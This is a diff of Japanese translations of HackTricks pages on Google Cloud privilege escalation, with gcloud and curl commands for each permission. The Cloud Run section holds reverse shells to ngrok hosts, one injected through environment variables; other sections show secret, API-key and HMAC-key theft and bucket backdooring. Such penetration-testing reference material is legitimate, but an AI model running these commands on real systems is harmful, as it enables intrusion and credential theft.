しかし、権限 **`orgpolicy.policy.set`** を持つ攻撃者は、制約 **`iam.disableServiceAccountProjectWideAccess`** を無効化することでこの制限を回避できます。これにより攻撃者は別プロジェクトのサービスアカウントを自身のプロジェクト内のリソースに紐付けることができ、実質的に権限を昇格させることが可能になります。
|
||||
|
||||
<details>
|
||||
<summary>クロスプロジェクトのサービスアカウント制約を無効化</summary>
|
||||
```bash
|
||||
gcloud resource-manager org-policies disable-enforce \
|
||||
iam.disableCrossProjectServiceAccountUsage \
|
||||
--project=<project-id>
|
||||
```
|
||||
## 参考
|
||||
</details>
|
||||
|
||||
## 参考資料
|
||||
|
||||
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Run
|
||||
|
||||
Cloud Runに関する詳細情報は、以下を確認してください:
|
||||
For more information about Cloud Run check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-run-enum.md
|
||||
@@ -12,15 +12,18 @@ Cloud Runに関する詳細情報は、以下を確認してください:
|
||||
|
||||
### `run.services.create` , `iam.serviceAccounts.actAs`, **`run.routes.invoke`**
|
||||
|
||||
これらの権限を持つ攻撃者は、**任意のコードを実行するランサービスを作成**(任意のDockerコンテナ)、それにサービスアカウントを添付し、コードが**メタデータからサービスアカウントトークンを抽出**することができます。
|
||||
これらの権限を持つ攻撃者は、**任意のコードを実行する Cloud Run サービスを作成する**(任意の Docker コンテナ)、Service Account をアタッチし、コードに **metadata から Service Account トークンを exfiltrate させる** ことができます。
|
||||
|
||||
この方法のためのエクスプロイトスクリプトは[こちら](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py)にあり、Dockerイメージは[こちら](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage)にあります。
|
||||
An exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) and the Docker image can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
|
||||
|
||||
`gcloud run deploy`を使用する場合、サービスを作成するだけではなく、**`update`権限が必要**であることに注意してください。[**こちらに例があります**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh)。
|
||||
Note that when using `gcloud run deploy` instead of just creating the service **it needs the `update` permission**. Check an [**example here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
|
||||
|
||||
### `run.services.update` , `iam.serviceAccounts.actAs`
|
||||
|
||||
前のものと同様ですが、サービスを更新します:
|
||||
前述の方法と同様ですが、サービスを更新するケースです:
|
||||
|
||||
<details>
|
||||
<summary>Cloud Run サービスをデプロイして reverse shell を実行</summary>
|
||||
```bash
|
||||
# Launch some web server to listen in port 80 so the service works
|
||||
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
|
||||
@@ -36,13 +39,18 @@ gcloud run deploy hacked \
|
||||
|
||||
# If you don't have permissions to use "--allow-unauthenticated", dont use it
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.services.setIamPolicy`
|
||||
|
||||
Cloud Runに対する以前の権限を付与します。
|
||||
cloud Run に対して権限を自分に付与する。
|
||||
|
||||
### `run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`)
|
||||
|
||||
コマンドで指定されたサービスアカウントを盗むためにリバースシェルを持つジョブを起動します。 [**こちらにエクスプロイトがあります**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh)。
|
||||
コマンドで指定した service account を奪取するために、reverse shell を仕込んだ job を起動する。詳細は[**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh)を参照してください。
|
||||
|
||||
<details>
|
||||
<summary>reverse shell を仕込んだ Cloud Run job を作成する</summary>
|
||||
```bash
|
||||
gcloud beta run jobs create jab-cloudrun-3326 \
|
||||
--image=ubuntu:latest \
|
||||
@@ -52,9 +60,14 @@ gcloud beta run jobs create jab-cloudrun-3326 \
|
||||
--region=us-central1
|
||||
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`)
|
||||
|
||||
前のものと同様に、**ジョブを更新し、SAを更新する**ことが可能であり、**コマンド**を**実行する**ことができます:
|
||||
前のものと同様に、**ジョブと SA を更新**し、**コマンド**を設定して**実行**することができます:
|
||||
|
||||
<details>
|
||||
<summary>Cloud Run ジョブを更新して reverse shell で実行</summary>
|
||||
```bash
|
||||
gcloud beta run jobs update hacked \
|
||||
--image=mubuntu:latest \
|
||||
@@ -64,17 +77,24 @@ gcloud beta run jobs update hacked \
|
||||
--region=us-central1 \
|
||||
--execute-now
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.jobs.setIamPolicy`
|
||||
|
||||
Cloud Jobsに対して以前の権限を付与します。
|
||||
前述の権限を自分に付与して、Cloud Jobs に対する操作権限を得ます。
|
||||
|
||||
### `run.jobs.run`, `run.jobs.runWithOverrides`, (`run.jobs.get`)
|
||||
|
||||
ジョブ実行の環境変数を悪用して任意のコードを実行し、リバースシェルを取得してコンテナの内容(ソースコード)をダンプし、メタデータ内のSAにアクセスします:
|
||||
ジョブ実行時の env variables を悪用して任意のコードを実行し、reverse shell を取得してコンテナ(source code)の内容をダンプし、metadata 内の SA にアクセスします:
|
||||
|
||||
<details>
|
||||
<summary>Cloud Run ジョブを実行(environment variable exploitation)</summary>
|
||||
```bash
|
||||
gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
|
||||
```
|
||||
## 参考文献
|
||||
</details>
|
||||
|
||||
## 参考資料
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## secretmanager
|
||||
|
||||
secretmanagerに関する詳細情報:
|
||||
secretmanager の詳細については:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-secrets-manager-enum.md
|
||||
@@ -12,12 +12,16 @@ secretmanagerに関する詳細情報:
|
||||
|
||||
### `secretmanager.versions.access`
|
||||
|
||||
これにより、シークレットマネージャーからシークレットを読み取るアクセスが得られ、シークレット内に保存されている情報に応じて特権を昇格させるのに役立つ可能性があります:
|
||||
これは secret manager からシークレットを読み取る権限を与えます。格納されている情報によっては、これが権限昇格に役立つ可能性があります。
|
||||
|
||||
<details><summary>クリアテキストのシークレットバージョンを取得</summary>
|
||||
```bash
|
||||
# Get clear-text of version 1 of secret: "<secret name>"
|
||||
gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
```
|
||||
この技術はポストエクスプロイテーション技術でもあるため、以下に見つけることができます:
|
||||
</details>
|
||||
|
||||
これは post exploitation technique でもあるため、以下で見つけられます:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
|
||||
@@ -25,10 +29,14 @@ gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
|
||||
### `secretmanager.secrets.setIamPolicy`
|
||||
|
||||
これにより、シークレットマネージャーからシークレットを読み取るためのアクセスが得られます。例えば、次のように使用します:
|
||||
これにより secret manager からシークレットを読み取るアクセス権を付与できます。例えば、次のように使用します:
|
||||
|
||||
<details><summary>シークレットにIAMポリシーバインディングを追加</summary>
|
||||
```bash
|
||||
gcloud secrets add-iam-policy-binding <scret-name> \
|
||||
--member="serviceAccount:<sa-name>@$PROJECT_ID.iam.gserviceaccount.com" \
|
||||
--role="roles/secretmanager.secretAccessor"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,11 +4,11 @@
|
||||
|
||||
## serviceusage
|
||||
|
||||
次の権限は、APIキーを作成および盗むのに役立ちます。ドキュメントからの注意点: _APIキーは、**プリンシパルなしでアプリケーションを識別する**シンプルな暗号化された文字列です。これらは、**公共データに匿名でアクセスする**ために便利であり、**クォータ**および**請求**のためにAPIリクエストをプロジェクトに**関連付ける**ために使用されます。_
|
||||
The following permissions are useful to create and steal API keys, not this from the docs: _API key は単純な暗号化文字列で、**任意のプリンシパルを伴わずにアプリケーションを識別します**。これらは**匿名で公開データにアクセスする**のに便利で、クォータや**課金**のために API リクエストをプロジェクトに**紐付ける**ために使用されます。_
|
||||
|
||||
したがって、APIキーを使用すると、その会社にAPIの使用料を支払わせることができますが、権限を昇格させることはできません。
|
||||
したがって、API key を使えばその会社に API の利用料金を負担させることはできますが、権限昇格はできません。
|
||||
|
||||
他の権限やAPIキーの生成方法については、次を確認してください:
|
||||
To learn other permissions and ways to generate API keys check:
|
||||
|
||||
{{#ref}}
|
||||
gcp-apikeys-privesc.md
|
||||
@@ -16,35 +16,43 @@ gcp-apikeys-privesc.md
|
||||
|
||||
### `serviceusage.apiKeys.create`
|
||||
|
||||
**APIキーを作成するために使用できる** undocumented APIが見つかりました:
|
||||
An undocumented API was found that can be used to **API key を作成する:**
|
||||
|
||||
<details><summary>未文書の API を使って API key を作成する</summary>
|
||||
```bash
|
||||
curl -XPOST "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKeys?access_token=$(gcloud auth print-access-token)"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `serviceusage.apiKeys.list`
|
||||
|
||||
既存のAPIキーをリストするための別の文書化されていないAPIが見つかりました(APIキーはレスポンスに表示されます):
|
||||
既に作成された API キーを一覧表示するための別の未公開 API が見つかりました(API キーはレスポンスに含まれます):
|
||||
|
||||
<details><summary>未公開 API を使用して API キーを一覧表示</summary>
|
||||
```bash
|
||||
curl "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKeys?access_token=$(gcloud auth print-access-token)"
|
||||
```
|
||||
</details>
|
||||
|
||||
### **`serviceusage.services.enable`** , **`serviceusage.services.use`**
|
||||
|
||||
これらの権限を持つ攻撃者は、プロジェクト内で新しいサービスを有効にし、使用することができます。これにより、**攻撃者はadminやcloudidentityのようなサービスを有効にしてWorkspace情報にアクセスしようとしたり、興味深いデータにアクセスするための他のサービスを使用したりすることができます。**
|
||||
これらの権限があれば attacker はプロジェクト内で新しいサービスを有効化して使用できます。これにより attacker が admin や cloudidentity のようなサービスを有効にして Workspace 情報にアクセスを試みたり、他のサービスを使って興味深いデータにアクセスしたりする可能性があります。
|
||||
|
||||
## **References**
|
||||
## **参考資料**
|
||||
|
||||
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
<summary><strong>HackTricks を支援して特典を得よう!</strong></summary>
|
||||
|
||||
あなたは**サイバーセキュリティ会社**で働いていますか?あなたの**会社をHackTricksで宣伝したいですか**?それとも**最新のPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたいですか**?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
あなたは **cybersecurity company** に勤務していますか? 会社を HackTricks で宣伝したいですか? または **latest version of the PEASS or download HackTricks in PDF** にアクセスしたいですか? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) を確認してください!
|
||||
|
||||
[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
[**official PEASS & HackTricks swag**](https://peass.creator-spring.com)を手に入れてください。
|
||||
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
**参加して** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) または [**telegram group**](https://t.me/peass) に参加するか、**Twitter** をフォローしてください [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
||||
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)\*\*\*\*
|
||||
|
||||
|
||||
@@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ソースリポジトリ
|
||||
## Source Repositories
|
||||
|
||||
ソースリポジトリに関する詳細情報は、以下を確認してください:
|
||||
For more information about Source Repositories check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-source-repositories-enum.md
|
||||
@@ -12,68 +12,80 @@
|
||||
|
||||
### `source.repos.get`
|
||||
|
||||
この権限があれば、リポジトリをローカルにダウンロードすることが可能です:
|
||||
この権限があれば、リポジトリをローカルにダウンロードできます:
|
||||
|
||||
<details><summary>Clone source repository</summary>
|
||||
```bash
|
||||
gcloud source repos clone <repo-name> --project=<project-uniq-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `source.repos.update`
|
||||
|
||||
この権限を持つプリンシパルは、**`gcloud source repos clone <repo>`でクローンしたリポジトリ内にコードを書くことができます**。ただし、この権限はカスタムロールに付与できないため、次のような事前定義されたロールを介して付与する必要があります:
|
||||
この権限を持つプリンシパルは、`gcloud source repos clone <repo>` でクローンした repository 内にコードを書き込むことができます。 ただし、この権限はカスタムロールに付与できないため、次のような既定のロールを通じて付与される必要があります:
|
||||
|
||||
- Owner
|
||||
- Editor
|
||||
- Source Repository Administrator (`roles/source.admin`)
|
||||
- Source Repository Writer (`roles/source.writer`)
|
||||
|
||||
書き込むには、通常の**`git push`**を実行します。
|
||||
実際に書き込むには、通常どおり **`git push`** を実行します。
|
||||
|
||||
### `source.repos.setIamPolicy`
|
||||
|
||||
この権限を持つ攻撃者は、前述の権限を自分に付与することができます。
|
||||
この権限があれば、攻撃者は自身に前述の権限を付与することができます。
|
||||
|
||||
### Secret access
|
||||
### シークレットへのアクセス
|
||||
|
||||
攻撃者が**トークンが保存されているシークレットにアクセスできる場合**、彼はそれらを盗むことができます。シークレットにアクセスする方法の詳細については、次を確認してください:
|
||||
攻撃者がトークンが保存されている **シークレットにアクセスできる** 場合、それらを盗むことができます。シークレットへのアクセス方法の詳細は次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
gcp-secretmanager-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Add SSH keys
|
||||
### SSH keys を追加
|
||||
|
||||
ウェブコンソールで**Source RepositoryプロジェクトにSSHキーを追加することが可能です**。これは**`/v1/sshKeys:add`**にポストリクエストを行い、[https://source.cloud.google.com/user/ssh_keys](https://source.cloud.google.com/user/ssh_keys)で設定できます。
|
||||
ウェブコンソールから **Source Repository プロジェクトに ssh keys を追加する** ことが可能です。これは **`/v1/sshKeys:add`** への POST リクエストを行い、[https://source.cloud.google.com/user/ssh_keys](https://source.cloud.google.com/user/ssh_keys) で設定できます。
|
||||
|
||||
SSHキーが設定されると、次のようにリポジトリにアクセスできます:
|
||||
ssh キーを設定すると、次の方法で repo にアクセスできます:
|
||||
|
||||
<details><summary>SSH を使って repository をクローン</summary>
|
||||
```bash
|
||||
git clone ssh://username@domain.com@source.developers.google.com:2022/p/<proj-name>/r/<repo-name>
|
||||
```
|
||||
そして、通常通り**`git`**コマンドを使用します。
|
||||
</details>
|
||||
|
||||
### 手動認証情報
|
||||
その後は通常どおり**`git`**コマンドを使用します。
|
||||
|
||||
Source Repositoriesにアクセスするための手動認証情報を作成することが可能です:
|
||||
### 手動クレデンシャル
|
||||
|
||||
Source Repositories にアクセスするための手動クレデンシャルを作成できます:
|
||||
|
||||
<figure><img src="../../../images/image (324).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
最初のリンクをクリックすると、[https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform\&state\&authuser=3](https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform&state&authuser=3)に移動します。
|
||||
最初のリンクをクリックすると、[https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform\&state\&authuser=3](https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform&state&authuser=3) に移動します。
|
||||
|
||||
これにより、**Google Cloud Development**へのアクセスを許可するための**Oauth認証プロンプト**が表示されます。したがって、**ユーザーの認証情報**または**ブラウザでのオープンセッション**が必要です。
|
||||
これにより**Oauth authorization prompt**が表示され、**Google Cloud Development**へのアクセス許可が求められます。したがって、これを行うには**credentials of the user**または**open session in the browser**のいずれかが必要です。
|
||||
|
||||
これにより、**`$HOME/.gitcookies`**にgitクッキーを設定するための**bashスクリプトを実行する**ページに移動します。
|
||||
これにより、実行するための**bash script to execute**が記載されたページに移動し、git cookie が**`$HOME/.gitcookies`** に設定されます。
|
||||
|
||||
<figure><img src="../../../images/image (323).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
スクリプトを実行すると、git clone、push...を使用できるようになり、動作します。
|
||||
スクリプトを実行すると、その後 git clone、push... が使用できるようになります。
|
||||
|
||||
### `source.repos.updateProjectConfig`
|
||||
|
||||
この権限を使用すると、Private Keysを含むコードをアップロードしないようにSource Repositoriesのデフォルト保護を無効にすることが可能です:
|
||||
この権限があれば、Source Repositories のデフォルト保護(Private Keys を含むコードのアップロードを制限する機能)を無効化することが可能です:
|
||||
|
||||
<details><summary>pushblock を無効化し、pub/sub の構成を変更する</summary>
|
||||
```bash
|
||||
gcloud source project-configs update --disable-pushblock
|
||||
```
|
||||
別の pub/sub トピックを設定するか、完全に無効にすることもできます:
|
||||
別の pub/sub topic を設定することも、完全に無効化することもできます:
|
||||
```bash
|
||||
gcloud source project-configs update --remove-topic=REMOVE_TOPIC
|
||||
gcloud source project-configs update --remove-topic=UPDATE_TOPIC
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Storage
|
||||
|
||||
基本情報:
|
||||
Basic Information:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-storage-enum.md
|
||||
@@ -12,18 +12,18 @@
|
||||
|
||||
### `storage.objects.get`
|
||||
|
||||
この権限は、**Cloud Storage内に保存されたファイルをダウンロードする**ことを許可します。これは、場合によっては**機密情報がそこに保存されているため、権限を昇格させる**可能性があります。さらに、いくつかのGCPサービスは、バケットに情報を保存します:
|
||||
この権限を持つと、**Cloud Storageに保存されているファイルをダウンロード**できます。場合によってはそこに**sensitive informationが保存されている**ことがあり、結果としてprivilege escalationが可能になることがあります。さらに、いくつかのGCPサービスは情報をバケットに保存します:
|
||||
|
||||
- **GCP Composer**: Composer環境を作成すると、**すべてのDAGのコード**が**バケット**内に保存されます。これらのタスクには、そのコード内に興味深い情報が含まれている可能性があります。
|
||||
- **GCR (Container Registry)**: コンテナの**イメージ**は**バケット**内に保存されており、バケットを読み取ることができれば、イメージをダウンロードして**漏洩やソースコードを検索する**ことができます。
|
||||
- **GCP Composer**: Composer Environmentを作成すると、**code of all the DAGs**が**bucket**に保存されます。これらのタスクのコード内に興味深い情報が含まれている可能性があります。
|
||||
- **GCR (Container Registry)**: コンテナの**image**は**buckets**内に保存されるため、バケットを読み取れるとイメージをダウンロードして**search for leaks and/or source code**が可能になります。
|
||||
|
||||
### `storage.objects.setIamPolicy`
|
||||
|
||||
このセクションの以前のシナリオを**悪用するための権限を与える**ことができます。
|
||||
この権限があれば、このセクションに記載した以前のシナリオを**abuse any of the previous scenarios of this section**できます。
|
||||
|
||||
### **`storage.buckets.setIamPolicy`**
|
||||
|
||||
この権限で権限を変更する方法の例については、このページを確認してください:
|
||||
この権限でどのように権限を変更するかの例については、次のページを参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md
|
||||
@@ -31,7 +31,9 @@
|
||||
|
||||
### `storage.hmacKeys.create`
|
||||
|
||||
Cloud Storageの「相互運用性」機能は、AWS S3などの**クロスクラウドインタラクション**のために設計されており、**サービスアカウントとユーザーのためのHMACキーの作成**を含みます。攻撃者は、**権限のあるサービスアカウントのためにHMACキーを生成することによって、Cloud Storage内で権限を昇格させる**ことができます。ユーザーに関連付けられたHMACキーはウェブコンソールを介してのみ取得可能ですが、アクセスキーとシークレットキーは**永続的にアクセス可能**であり、バックアップアクセスストレージの可能性を提供します。一方、サービスアカウントにリンクされたHMACキーはAPI経由でアクセス可能ですが、作成後はそのアクセスキーとシークレットキーは取得できず、継続的なアクセスのための複雑さを加えます。
|
||||
Cloud Storageの「interoperability」機能は、AWS S3のような**cross-cloud interactions**向けに設計されており、**Service Accounts and usersのためのHMAC keysのcreation**を伴います。攻撃者はこれを悪用して、権限の高いService AccountのためにHMAC keyを**生成する**ことで、Cloud Storage内で**escalating privileges within Cloud Storage**を行うことができます。ユーザーに紐づくHMAC keysはウェブコンソール経由でのみ取得可能ですが、accessおよびsecret keysは**perpetually accessible**な状態で残るため、バックアップとしてアクセス情報を保存できる可能性があります。一方で、Service Accountに紐づくHMAC keysはAPI経由で操作できますが、作成後はaccessおよびsecret keysを取得できないため、継続的なアクセス確保はより複雑になります。
|
||||
|
||||
<details><summary>Create and use HMAC key for privilege escalation</summary>
|
||||
```bash
|
||||
# Create key
|
||||
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance
|
||||
@@ -61,54 +63,56 @@ gsutil ls gs://[BUCKET_NAME]
|
||||
# Restore
|
||||
gcloud config set pass_credentials_to_gsutil true
|
||||
```
|
||||
別のエクスプロイトスクリプトはこのメソッドのために[こちら](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py)で見つけることができます。
|
||||
</details>
|
||||
|
||||
## `storage.objects.create`, `storage.objects.delete` = ストレージ書き込み権限
|
||||
Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
|
||||
|
||||
バケット内に**新しいオブジェクトを作成する**には`storage.objects.create`が必要で、[ドキュメント](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions)によると、既存のオブジェクトを**変更する**には`storage.objects.delete`も必要です。
|
||||
### `storage.objects.create`, `storage.objects.delete` = Storage Write permissions
|
||||
|
||||
クラウドに書き込むことができるバケットの非常に**一般的な悪用**は、**バケットがウェブサーバーファイルを保存している場合**であり、ウェブアプリケーションによって使用される**新しいコードを保存できる**可能性があります。
|
||||
バケット内に新しいオブジェクトを**作成する**には `storage.objects.create` が必要で、また既存オブジェクトを**修正する**には [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions) によれば `storage.objects.delete` も必要です。
|
||||
|
||||
クラウド上で書き込み可能なバケットに対する非常に**一般的な悪用**方法は、そのバケットが**Webサーバのファイルを保存している**場合です。攻撃者はそこに**新しいコードを置き、Webアプリケーションに利用させる**ことが可能になるかもしれません。
|
||||
|
||||
### Composer
|
||||
|
||||
**Composer**はGCP内で管理されている**Apache Airflow**です。いくつかの興味深い機能があります:
|
||||
**Composer** は GCP 上で管理される **Apache Airflow** です。以下のような興味深い特徴があります:
|
||||
|
||||
- **GKEクラスター**内で実行されるため、**クラスターが使用するSAはComposer内で実行されるコードからアクセス可能**です。
|
||||
- Composer環境のすべてのコンポーネント(**DAGのコード**、プラグイン、データ)はGCPバケット内に保存されます。攻撃者がそれに対して読み書き権限を持っている場合、バケットを監視し、**DAGが作成または更新されるたびに、バックドア付きのバージョンを提出する**ことができるため、Composer環境はストレージからバックドア付きのバージョンを取得します。
|
||||
- **GKE cluster** 内で動作するため、クラスタが使用する **SA** は Composer 内で実行されるコードから**アクセス可能**です。
|
||||
- composer 環境の全コンポーネント(**DAGs のコード**, プラグイン, データ)は GCP バケットに保存されます。攻撃者がそのバケットに対して読み書き権限を持っている場合、バケットを監視して **DAG が作成または更新されるたびに backdoored バージョンを提出する**ことで、composer 環境が storage から backdoored バージョンを取得するようにできます。
|
||||
|
||||
**この攻撃のPoCはリポジトリで見つけることができます:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
|
||||
|
||||
### Cloud Functions
|
||||
|
||||
- Cloud Functionsのコードはストレージに保存され、新しいバージョンが作成されると、コードがバケットにプッシュされ、その後新しいコンテナがこのコードからビルドされます。したがって、**新しいバージョンがビルドされる前にコードを上書きすることで、クラウド関数が任意のコードを実行することが可能になります**。
|
||||
- Cloud Functions のコードは Storage に保存され、新しいバージョンが作成されるとコードがバケットにプッシュされ、そのコードから新しいコンテナがビルドされます。したがって、**新しいバージョンがビルドされる前にコードを上書きすることで、cloud function に任意のコードを実行させることが可能**です。
|
||||
|
||||
**この攻撃のPoCはリポジトリで見つけることができます:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
|
||||
|
||||
### App Engine
|
||||
|
||||
AppEngineのバージョンは、`staging.<project-id>.appspot.com`という形式のバケット内にデータを生成します。このバケット内には、AppEngineアプリのバージョンごとにフォルダを含む`ae`というフォルダがあり、これらのフォルダ内には`manifest.json`ファイルが見つかります。このファイルには、特定のバージョンを作成するために使用されるすべてのファイルを含むjsonが含まれています。さらに、**ファイルの実際の名前、GCPバケット内のURL(バケット内のファイルはsha1ハッシュのために名前が変更されています)、および各ファイルのsha1ハッシュを見つけることができます。**
|
||||
AppEngine のバージョンは `staging.<project-id>.appspot.com` という形式のバケット内にいくつかのデータを生成します。このバケットの中には `ae` というフォルダがあり、AppEngine アプリの各バージョンごとのフォルダが格納されています。これらのフォルダの中には `manifest.json` ファイルが見つかります。このファイルは特定のバージョンを作成するために使われるすべてのファイルを含む JSON です。さらに、**ファイルの実際の名前、GCP バケット内での URL(バケット内のファイルは sha1 ハッシュ名に変更されている)、および各ファイルの sha1 ハッシュ** を確認できます。
|
||||
|
||||
_このバケットを事前に取得することはできません。なぜなら、GCPユーザーはappspot.comのドメイン名を使用してバケットを生成する権限がないからです。_
|
||||
_Note that it's not possible to pre-takeover this bucket because GCP users aren't authorized to generate buckets using the domain name appspot.com._
|
||||
|
||||
しかし、このバケットに対して読み書きアクセスがあれば、バケットを監視し、変更が行われるたびに(新しいバージョン)、新しいバージョンをできるだけ早く変更することで、App Engineバージョンに付随するSAの権限を昇格させることが可能です。このようにして、このコードから作成されるコンテナはバックドア付きのコードを実行します。
|
||||
しかし、このバケットに対して読み書きアクセスを持っていれば、バケットを監視し、変更(新しいバージョン)が行われた際に可能な限り速く新しいバージョンを改変することで、当該 App Engine バージョンに紐づく SA への権限昇格が可能になります。こうしてそのコードから作成されたコンテナは backdoored コードを実行します。
|
||||
|
||||
前述の攻撃はさまざまな方法で実行できますが、すべては`staging.<project-id>.appspot.com`バケットを監視することから始まります:
|
||||
前述の攻撃は多様な方法で実行可能で、いずれも `staging.<project-id>.appspot.com` バケットの監視から始まります:
|
||||
|
||||
- AppEngineバージョンの完全な新しいコードを別の利用可能なバケットにアップロードし、**新しいバケット名とそれらのsha1ハッシュを持つ`manifest.json`ファイルを準備します**。その後、バケット内で新しいバージョンが作成されると、`manifest.json`ファイルを変更し、悪意のあるものをアップロードするだけです。
|
||||
- **悪意のある依存関係のコードを使用する`requirements.txt`の修正バージョンをアップロードし、`manifest.json`ファイルを新しいファイル名、URL、およびそのハッシュで更新します。**
|
||||
- **悪意のあるコードを実行する`main.py`または`app.yaml`ファイルを修正してアップロードし、`manifest.json`ファイルを新しいファイル名、URL、およびそのハッシュで更新します。**
|
||||
- AppEngine バージョンの完全な新しいコードを別の利用可能なバケットにアップロードし、**新しいバケット名とそのファイルの sha1 ハッシュを含む `manifest.json` ファイルを準備**します。新しいバージョンがオリジナルのバケットに作成されたとき、`manifest.json` を差し替えて悪意あるものをアップロードすればよい。
|
||||
